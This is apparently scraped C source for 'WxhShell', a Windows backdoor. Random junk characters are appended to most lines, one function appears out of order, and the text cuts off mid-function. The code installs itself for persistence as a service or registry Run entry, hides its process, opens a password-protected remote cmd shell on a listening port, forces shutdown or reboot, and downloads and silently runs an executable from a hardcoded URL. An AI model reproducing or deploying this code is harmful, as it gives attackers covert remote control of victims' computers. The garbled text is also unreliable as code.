  case 'd': { ,4tuWO)"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (Ld,<!eN0  
    if(Boot(SHUTDOWN)) 0<C]9[l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  &@h(6  
    else { ~dc~<hK  
    closesocket(wsh); W2F*+M  
    ExitThread(0); #XPY\n^k  
    } 7dbGUbT  
    break; ?(d<n   
    } oi:!YVc  
  // 获取shell 6w Y6* R  
  case 's': { )eaEc9o>  
    CmdShell(wsh); :sL?jGk\  
    closesocket(wsh); 4V9S~^v|  
    ExitThread(0); dF<GuS;l5  
    break; 6./3w&D;  
  } qzt.k^'-^  
  // 退出 KrDG  
  case 'x': { # %$U-ti  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3q*p#l~  
    CloseIt(wsh); 6=o'.03\f  
    break; Ods/1 KW  
    } lrL:v~g  
  // 离开 nkAS]sC  
  case 'q': { \7U'p:h=U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %!r@l7<  
    closesocket(wsh); 7U, [Ruu  
    WSACleanup(); \]=''C=J  
    exit(1); Z&W*@(dX  
    break; o!-kwtw`l  
        } zo>@"uH4  
  } Cl>{vS N  
  } j}fu|-  
9H#;i]t&  
  // 提示信息 g/f^|:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R Q2DTQ-$  
} "vL,c]D  
  } C!z7sOu  
eN{ewn#0.  
  return; { usv*Cm  
} \\UOpl  
(@&+?A"6`  
// shell模块句柄 a 0+W-#G  
int CmdShell(SOCKET sock) D@ 4sq^|2  
{ B9h'}460H  
STARTUPINFO si; 2{;~Bg d  
ZeroMemory(&si,sizeof(si)); s5cY>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %;MM+xVVX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L }L"BY3$  
PROCESS_INFORMATION ProcessInfo; J,Rp&tavt:  
char cmdline[]="cmd"; RR9G$}WS(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;\48Q;  
  return 0; o@47WD'm  
} J[7Sf^r  
p38RgEf  
// 自身启动模式 UsQh+W"?  
int StartFromService(void) UrJrv x  
{ dp DPSI  
typedef struct uoi~JF  
{ * ,#SwZ  
  DWORD ExitStatus; wMvAm%}+  
  DWORD PebBaseAddress; #)b0&wyW6i  
  DWORD AffinityMask; Pof]9qE-y  
  DWORD BasePriority; }LTyXo  
  ULONG UniqueProcessId; T7qE 2  
  ULONG InheritedFromUniqueProcessId; O'[r,|Q{  
}   PROCESS_BASIC_INFORMATION; ;*[ oi  
*aaK_=w  
PROCNTQSIP NtQueryInformationProcess; &r0U9J  
M>g%wg7Ah  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i8|0zI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bTepTWv  
.6HHUy  
  HANDLE             hProcess; $3)Z>p   
  PROCESS_BASIC_INFORMATION pbi; e.VR9O]G  
-ztgirU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _oAWj]~rO  
  if(NULL == hInst ) return 0; %D6HY^]ayw  
Bh ,GQHJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X-k$6}D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Mp,aQ0bNS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %ki^XB86  
!si}m~K!_  
  if (!NtQueryInformationProcess) return 0; Q.i_?a  
@aY>pr5!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HyGu3  
  if(!hProcess) return 0; T7# }& >  
,%<ICusZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZZ2vdy38  
JS2h/Y$  
  CloseHandle(hProcess); Zt/4|&w  
m4x8W2q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iOXsj  
if(hProcess==NULL) return 0; hZwJ@ Vm#  
%Rm`+  
HMODULE hMod; !cNw 8"SIU  
char procName[255]; 1)v]<Ga~%1  
unsigned long cbNeeded; #fT<]j(  
zTS P8Q7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hmp!|Q[)  
d<_#Q7]I4  
  CloseHandle(hProcess); s ~>0<3{5  
"(+p1  
if(strstr(procName,"services")) return 1; // 以服务启动 IrMxdF~c  
J-5E# v  
  return 0; // 注册表启动 05s{Z.aK  
} }UX0 eI4  
|f{(MMlj  
// 主模块 T%O2=h\} E  
int StartWxhshell(LPSTR lpCmdLine) R4g;-Ci->  
{ d:3OC&  
  SOCKET wsl; t .-%@,s  
BOOL val=TRUE; rcUJOI  
  int port=0; JIU8~D  
  struct sockaddr_in door; ZVni'y m  
 RxO !h8  
  if(wscfg.ws_autoins) Install(); QE4TvnhK  
TxP8&!d  
port=atoi(lpCmdLine); _"h1#E  
T7LO}(I.&  
if(port<=0) port=wscfg.ws_port; {66P-4Ev(  
OJT%?P%@{  
  WSADATA data; }NY! z^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :rSCoi>K  
~%!"!Z4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @TvDxY1)6Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i% n9RuULh  
  door.sin_family = AF_INET; |31/*J!@z*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UH`cWVLpr  
  door.sin_port = htons(port); XCj8QM.o  
A@ZsL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '#NDR:J"  
closesocket(wsl); 2bAH)=  
return 1; W *~[KdgC  
} o2R&s@%0@B  
q!y!=hI  
  if(listen(wsl,2) == INVALID_SOCKET) { |Ng}ZLBM  
closesocket(wsl); RC~C}  
return 1; E~ +g6YlT  
} ub9,Wd"^  
  Wxhshell(wsl); T;sF@?  
  WSACleanup(); &Y jUoe  
aSt:G*a"  
return 0; %*];XpAE  
{y`n _  
} SYA0Hiw7P  
1T0s UIY  
// 以NT服务方式启动 q);@iiJ-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cCv@f ks  
{ "R^0eNv$  
DWORD   status = 0; v,Uu )Z  
  DWORD   specificError = 0xfffffff; UTVqoCHA  
UO4z~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #n.XOet<\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,'%*z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pM}n)Q!{3"  
  serviceStatus.dwWin32ExitCode     = 0; '.*`PN5mDq  
  serviceStatus.dwServiceSpecificExitCode = 0; #ba7r ]Xu  
  serviceStatus.dwCheckPoint       = 0; ?wpl 88z  
  serviceStatus.dwWaitHint       = 0; ImsyyeY]  
ypWhH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -\~HAnh  
  if (hServiceStatusHandle==0) return; #L+ZHs~  
"{x+ \Z\  
status = GetLastError(); @*=eqO  
  if (status!=NO_ERROR) (05a 9  
{ gB])@O%/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qo7jrY5G  
    serviceStatus.dwCheckPoint       = 0; 6r)B|~,OA  
    serviceStatus.dwWaitHint       = 0; yX%NFXD  
    serviceStatus.dwWin32ExitCode     = status; Oid;s!-S6  
    serviceStatus.dwServiceSpecificExitCode = specificError; O #5`mo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O{Y*a )"  
    return; o#hFK'&~  
  } >0S(se$  
Le2rc *T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7`HKa@  
  serviceStatus.dwCheckPoint       = 0; o?5;l`.L}  
  serviceStatus.dwWaitHint       = 0; JZ)w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V|)nU sU  
} Y2W{?<99  
#B5-3CwB  
// 处理NT服务事件,比如:启动、停止 ONMR2J(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rO]2we/B,4  
{ juB/?'$~  
switch(fdwControl) =8A L>:_  
{ <])kO`+G  
case SERVICE_CONTROL_STOP: z_%}F':  
  serviceStatus.dwWin32ExitCode = 0; / mwsF]Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J<MuWgx&  
  serviceStatus.dwCheckPoint   = 0; KJW^pAj$B  
  serviceStatus.dwWaitHint     = 0; Da ]zbz%%  
  { ;R7+6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UcWf O!}D  
  } ^&\<[\  
  return; m%U$37A 1  
case SERVICE_CONTROL_PAUSE: y4,t=Gq7^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KouIzWf.  
  break; H]( TSt<Q"  
case SERVICE_CONTROL_CONTINUE: s]Z++Lh<{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V(M7d>N5G  
  break; &IP`j~ b  
case SERVICE_CONTROL_INTERROGATE: Cf.(/5X  
  break; 3u oIYY  
}; YLp#z8 1e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I @ D<rjR  
} 3XhLn/@  
V3$zlzSm,  
// 标准应用程序主函数 ~Gh9m ]b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )JOo|pr-K  
{ C,$7fW{?  
xG|lmYt76  
// 获取操作系统版本 gW^0A)5  
OsIsNt=GetOsVer(); OySn[4`(i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e?<$H\  
&XB1=b5  
  // 从命令行安装 {CQI*\O  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3^]Kd  
smPZ%P}P+c  
  // 下载执行文件 h%&2M58:  
if(wscfg.ws_downexe) { oiItQ4{<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9^@#Ua  
  WinExec(wscfg.ws_filenam,SW_HIDE); u(~(+1W  
} !BR@"%hx  
&"=<w  
if(!OsIsNt) { &?^"m\K4J*  
// 如果时win9x,隐藏进程并且设置为注册表启动 M<ba+Qn$  
HideProc(); ?GGBDql  
StartWxhshell(lpCmdLine); .=@CF8ArG  
} &G_XgQsg{  
else e|4U2\&3y  
  if(StartFromService()) i}~U/.P   
  // 以服务方式启动 \N.Bx  
  StartServiceCtrlDispatcher(DispatchTable); 'h>CgR^NM1  
else 41c4Xj?'  
  // 普通方式启动 cD9.L  
  StartWxhshell(lpCmdLine); qjH/E6GGg  
HJ!P]X_J1  
return 0; WnQ+  
} :U6Q==B$_  
8>'vzc/* >  
7*@BCu6  
i.''\  
=========================================== +m1*ou'K  
^\w!D{Y7Q  
ye`-U?7.  
'e8O \FOf  
u(g9-O  
EO"G(v  
" ( #rhD}  
U?j[ 8z  
#include <stdio.h> c Sktm&SP  
#include <string.h> 5 &s<&h  
#include <windows.h> *_eY +\j  
#include <winsock2.h> XyD*V;.E  
#include <winsvc.h> Ha~} NO  
#include <urlmon.h> R@2*Lgxz~  
P=.T|l1  
#pragma comment (lib, "Ws2_32.lib") ^TAf+C^Ry  
#pragma comment (lib, "urlmon.lib") 3e1^r_YI  
T *rz#O  
#define MAX_USER   100 // 最大客户端连接数 S{UEV7d:n0  
#define BUF_SOCK   200 // sock buffer '19kP.  
#define KEY_BUFF   255 // 输入 buffer j UB`=d|  
.:iO$wjp5  
#define REBOOT     0   // 重启 Xd'B0kQaT  
#define SHUTDOWN   1   // 关机 t^7}j4lk  
j~O"=?7!O  
#define DEF_PORT   5000 // 监听端口 0(+dXzcwM  
9C: V i  
#define REG_LEN     16   // 注册表键长度 j!K{1s[.y  
#define SVC_LEN     80   // NT服务名长度 EB8<!c ?  
Z>hGqFZ0{  
// 从dll定义API [ip}f4K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TchByN6oN<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |qtZb}"|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U8 n=Ro  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ns.{$'ll  
.>^U mM  
// wxhshell配置信息 ] jycg@=B  
struct WSCFG { vzZ"TSP  
  int ws_port;         // 监听端口 6IKi*}  
  char ws_passstr[REG_LEN]; // 口令 I~25}(IDZ"  
  int ws_autoins;       // 安装标记, 1=yes 0=no ._(5; PB"  
  char ws_regname[REG_LEN]; // 注册表键名 "*N]Y^6/A  
  char ws_svcname[REG_LEN]; // 服务名 6Q NO#!;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %=5m!"F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EkEQFd 5g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -{ Fy@$!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #z9@x}p5g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F*=}}H/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  8s>OO&  
fi'\{!!3m^  
}; VX e7b  
qnnP*15`  
// default Wxhshell configuration P*kC>lvSv  
struct WSCFG wscfg={DEF_PORT, eKL3Y_5p@  
    "xuhuanlingzhe", )`}4rD^b  
    1, }c'T]h\S  
    "Wxhshell", zX&wfE8T  
    "Wxhshell", 8:jakOeT  
            "WxhShell Service", bP{uZnOM2P  
    "Wrsky Windows CmdShell Service", ~4M?[E&  
    "Please Input Your Password: ", d*Kg_He-  
  1, =p&uQ6.i+  
  "http://www.wrsky.com/wxhshell.exe", IvM>z03  
  "Wxhshell.exe" :jGgX>GG  
    }; TTz_w-68  
[+b&)jN*2  
// 消息定义模块 %^bN^Sq -  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $%"~.L4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JvM:xy9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `,)%<}  
char *msg_ws_ext="\n\rExit."; M$2lK^2L  
char *msg_ws_end="\n\rQuit."; @T~~aQFk  
char *msg_ws_boot="\n\rReboot..."; r8Z} mvLM  
char *msg_ws_poff="\n\rShutdown..."; e%KCcU  
char *msg_ws_down="\n\rSave to "; Kj* $'('  
YT)@&HaF  
char *msg_ws_err="\n\rErr!"; lVS.XQ2<  
char *msg_ws_ok="\n\rOK!"; 'E%+ O  
;a`I8Fj  
char ExeFile[MAX_PATH]; ]SNcL[U  
int nUser = 0; w'<"5F`  
HANDLE handles[MAX_USER]; )OV2CP  
int OsIsNt; AP(%m';  
I=&Kn@^  
SERVICE_STATUS       serviceStatus; 9l}G{u9a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nrCr9#  
2w>yW]  
// 函数声明 YfVZ59l4y6  
int Install(void); bw OG|\  
int Uninstall(void); I5w> *F   
int DownloadFile(char *sURL, SOCKET wsh); <@+{EK'`q  
int Boot(int flag); ~P!%i9e_  
void HideProc(void); 8Xz \,}$O  
int GetOsVer(void); |:5[`  
int Wxhshell(SOCKET wsl); m]'P3^<{P  
void TalkWithClient(void *cs); n!%'%%o2v  
int CmdShell(SOCKET sock); X!f` !tZ:{  
int StartFromService(void); 9oxn-)6JC  
int StartWxhshell(LPSTR lpCmdLine); qp2&Z8S\D  
Vnnl~|Xx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O 718s\#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z460a[Wl  
Mtq^6`JJ'  
// 数据结构和表定义 2Z*^)ZQB  
SERVICE_TABLE_ENTRY DispatchTable[] = a VIh|v  
{ 6>F]Z)]}  
{wscfg.ws_svcname, NTServiceMain}, Io7o*::6iw  
{NULL, NULL} iU?xw@W R  
}; v)rQ4 wD:  
7oZtbBs]M  
// 自我安装 p/'09FY+U  
int Install(void) Ll0"<G2t  
{ l&uBEYx   
  char svExeFile[MAX_PATH]; N_f>5uv  
  HKEY key; 9NausE40  
  strcpy(svExeFile,ExeFile); =J^FV_1rJ  
v42Z&PO   
// 如果是win9x系统,修改注册表设为自启动 L'<.#(|  
if(!OsIsNt) { nBGcf(BE.$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R9O1#s^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Un\ T} c  
  RegCloseKey(key); ^_JByB D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0v'!(&m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wZKEUJpQ  
  RegCloseKey(key); 8U7X/L  
  return 0; qBqh>Wo  
    } gR@,"6b3  
  } yPVK>em5  
} +X!QH/ 8  
else { _W gpk 0  
Bngvm9k3  
// 如果是NT以上系统,安装为系统服务 CL<m+dW%*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xc_-1u4a9  
if (schSCManager!=0) TV*@h2C"i  
{ E{}Vi>@V?  
  SC_HANDLE schService = CreateService Qk`LBvg1  
  ( jQ9i<-zc  
  schSCManager, NLF6O9  
  wscfg.ws_svcname, X"O^4MnvI  
  wscfg.ws_svcdisp, QLOcgU^  
  SERVICE_ALL_ACCESS, Q'Vejz/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [ .c'22R6  
  SERVICE_AUTO_START, AMc`qh  
  SERVICE_ERROR_NORMAL, y~;w`5;|  
  svExeFile, 8&UwnEk<  
  NULL, %2<u>=6byG  
  NULL, SX@zDuM  
  NULL, Y@Ti2bI`v  
  NULL, B%/N{i*Z  
  NULL @&GfCg5Cb  
  ); .|<+-Rsj  
  if (schService!=0) _X]S`e1F  
  { ?$0t @E  
  CloseServiceHandle(schService); 8 ;o*c6+  
  CloseServiceHandle(schSCManager); 2*}qQ0J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lbiMB~rwI  
  strcat(svExeFile,wscfg.ws_svcname); y(*#0fJrTV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .yb=I6D;<3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G~KYFNHr  
  RegCloseKey(key); tW} At  
  return 0; nv_9Llh=z  
    } OzS/J;[PO[  
  } \I #}R4z  
  CloseServiceHandle(schSCManager); W;!)Sj4<T!  
} rxQ&N[r2  
} ]]8^j='P'  
W^N|+$g>H  
return 1; j xTYW)E   
} {q|Om?@  
J:oAzBFpA  
// 自我卸载 a474[?  
int Uninstall(void) ,'>O#kD  
{ eGQ -Ht,N  
  HKEY key; B:=VMX~GE  
Ff{dOV.i  
if(!OsIsNt) { _"G./X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U['|t<^uf  
  RegDeleteValue(key,wscfg.ws_regname); q@Oe}  
  RegCloseKey(key); *PF=dx<8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x5 ?>y{6D  
  RegDeleteValue(key,wscfg.ws_regname); d .t$VRO  
  RegCloseKey(key); ;)rXQm  
  return 0; *g!7PzJ'  
  } !nt[J$.z^  
} 40Hm+Ge  
} i4H,Ggb  
else { ,@0D_&JAl  
^@OdY& 5^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J ` KyS  
if (schSCManager!=0) ^Rc*X'Iz(!  
{ RG y+W-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m\e?'-(s  
  if (schService!=0) C5x*t Q|  
  {  7 j8Ou3  
  if(DeleteService(schService)!=0) { -8m3L  
  CloseServiceHandle(schService); 9q_c`  
  CloseServiceHandle(schSCManager); Ji7<UJ30x  
  return 0; D'<'"kUd  
  } bW^JR,  
  CloseServiceHandle(schService); ,WQg.neOA  
  } ky=h7#wdv-  
  CloseServiceHandle(schSCManager); h"t\x}8qq  
} +wxDK A_  
} $c}-/U 8  
#8@o%%F d  
return 1; 2+cpNk$  
} a<CACWsN.T  
5`p>BJ+n  
// 从指定url下载文件 f_'8l2jK1i  
int DownloadFile(char *sURL, SOCKET wsh) <#~n5W{l  
{ *^[j6  
  HRESULT hr; /a?qtRw  
char seps[]= "/"; YuFR*W;$  
char *token; W$Sc@!M3{  
char *file; MZ"|Jn  
char myURL[MAX_PATH]; s"B+),Jod  
char myFILE[MAX_PATH]; )%vnl~i!  
#dDM "s  
strcpy(myURL,sURL); lGpci  
  token=strtok(myURL,seps); E_T!|Q.  
  while(token!=NULL) @^Yr=d ba  
  { a9y+FCA  
    file=token; t$g@+1p4  
  token=strtok(NULL,seps); 3 @%XR8ss  
  } <d~si^*\ch  
?tx."MZ  
GetCurrentDirectory(MAX_PATH,myFILE); {3!E8~  
strcat(myFILE, "\\"); t[o_!fmxZ  
strcat(myFILE, file); a6!|#rt  
  send(wsh,myFILE,strlen(myFILE),0); t4Pi <m:7  
send(wsh,"...",3,0);  D`3`5.b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D";@)\jN  
  if(hr==S_OK) ~Xz?H=}U+  
return 0; vW4n>h}]  
else vX|5*T`(  
return 1; +F+M[ef<ws  
v-DZW,  
} p} {H%L  
V G|FjD  
// 系统电源模块 nYE%@Up  
int Boot(int flag) AK(x;4  
{ zD;k|"e  
  HANDLE hToken; `G`y A%  
  TOKEN_PRIVILEGES tkp; EO%"[k  
nt8& Mf  
  if(OsIsNt) { _{/[&vJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tE,& G-jU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LB`{35b-  
    tkp.PrivilegeCount = 1; ?!y<%&U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 45rG\$%#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2P ^x'I  
if(flag==REBOOT) { -\n%K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5bBCI\&sam  
  return 0; :l&Yq!5  
} bvS6xU- J  
else { sE&1ZJ]7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  hLj7i?  
  return 0; |-L7qZu%  
} "SRS{-p0  
  } 9{ #5~WP  
  else { 7}vI/?r  
if(flag==REBOOT) { ~;#sj&~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R3%%;`c=  
  return 0; SDB \6[D  
} Ph8@V}80"Y  
else { ~r~YR=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -Nn< pq  
  return 0; Ft38)T"2R\  
} 0TZB}c#qT  
} zK&1ti@wln  
a~ dgf:e`  
return 1; > l]Ble  
} o (4gh1b%  
^`k;~4'd  
// win9x进程隐藏模块 p6V#!5Q  
void HideProc(void) 4}s'xMT!  
{ V~p01f"J  
"=1gA~T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <ZheWl  
  if ( hKernel != NULL ) ==Xy'n9'  
  { L^*f$Balz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &,yF{9$G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %}e['d h  
    FreeLibrary(hKernel); UI"UBZZ$  
  } T*%rhnTv0  
(Gw*x sn1  
return; 6 Ia HaV+P  
} ptrwZ8'  
|'z24 :8  
// 获取操作系统版本 L]8z6]j*  
int GetOsVer(void) `+rwx  
{ 6 &0r/r  
  OSVERSIONINFO winfo; rZ|p{ym  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GcDA0%i  
  GetVersionEx(&winfo); 3E^qh03(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }79O[&  
  return 1; T~k@Z  
  else Qrt\bz h/}  
  return 0; DxwR&S{  
} A]TEs)#*7)  
 V?1[R  
// 客户端句柄模块 =yz"xWH  
int Wxhshell(SOCKET wsl) #:+F  
{ 1Y*k"[?dW  
  SOCKET wsh; 8lzoiA_9  
  struct sockaddr_in client; !+A%`m  
  DWORD myID; v/9DD%An  
!Ve0:$  
  while(nUser<MAX_USER) EQ ee5}  
{ qB (Pqv  
  int nSize=sizeof(client); #>("(euXMF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f}"eN/T  
  if(wsh==INVALID_SOCKET) return 1; 3>^]r jFw  
#Tei0B7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,h*N9}xYTi  
if(handles[nUser]==0) rJkJ/9s  
  closesocket(wsh); :\JCxS=EW  
else \ a,}1FS  
  nUser++; m$=}nI(H  
  } >mX6;6FF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  5{oc  
}oA>0Nw$K  
  return 0; )WbWp4  
} C1e@{>  
]95VM yN  
// 关闭 socket |T$?vIG[  
void CloseIt(SOCKET wsh) g(9*!g  
{ uxB)dS  
closesocket(wsh); ~abyjM  
nUser--; X!K>.r_Dg  
ExitThread(0); VC/-5'_6  
} N|$9v{ j_  
&>C+5`bg  
// 客户端请求句柄 :`zO%h  
void TalkWithClient(void *cs) # :k=  
{ aqN{@|  
OcO/wA(&{  
  SOCKET wsh=(SOCKET)cs; `DF49YP"~  
  char pwd[SVC_LEN]; /0H}-i  
  char cmd[KEY_BUFF]; Gmi? xGn  
char chr[1]; 4r7F8*z  
int i,j; rAfz?  
u+r!;-0i  
  while (nUser < MAX_USER) { Ao8ua|:  
Y4 HN1  
if(wscfg.ws_passstr) { #WSqh +  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %]&$VVVh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qvSYrnpn  
  //ZeroMemory(pwd,KEY_BUFF); $uDgBZA\  
      i=0; Qgj# k  
  while(i<SVC_LEN) { OU/}cu  
Lm~<BBp.  
  // 设置超时 ;7qIm83  
  fd_set FdRead; 38p"lT  
  struct timeval TimeOut; G9^`cTvv'8  
  FD_ZERO(&FdRead); (Fon!_$:  
  FD_SET(wsh,&FdRead); KCyV |,+n  
  TimeOut.tv_sec=8; sdZ$3oE.  
  TimeOut.tv_usec=0; BP@tI|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P?/JyiO }  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HTT&T9]  
RB+Jp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rhbz|Uq  
  pwd=chr[0]; 0>Snps3*Z  
  if(chr[0]==0xd || chr[0]==0xa) { > v%.q]E6n  
  pwd=0; h8asj0  
  break; &L$9Ii  
  } P.XT1)qo*  
  i++; Pgr2 S I  
    } ]|tg`*l!>  
ih".y3  
  // 如果是非法用户,关闭 socket @!fUp b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bpwA|H%{M  
} 8C@u+tx  
o13jd NQ-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AE}cHBwZE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  /RJ  
{IJ;)<>&VE  
while(1) { YUEyGhkMV{  
H_ $?b  
  ZeroMemory(cmd,KEY_BUFF); #j~FlY5  
XeI2 <=@%  
      // 自动支持客户端 telnet标准   " _2 k 3  
  j=0; C*b[J  
  while(j<KEY_BUFF) { ce\d35x!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^qR|lA@=\  
  cmd[j]=chr[0]; '-%1ILK$3r  
  if(chr[0]==0xa || chr[0]==0xd) { f"FFgQMkv  
  cmd[j]=0; <3{MS],<<  
  break; adP  :{j  
  } *I(6hB  
  j++; D8wf`RUt  
    } g4h{dFb|_  
"TJu<O"2  
  // 下载文件 R7Y_ 7@p  
  if(strstr(cmd,"http://")) { Jr !BDg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Rsfb?${0G  
  if(DownloadFile(cmd,wsh)) ?z9!=A%<V~  
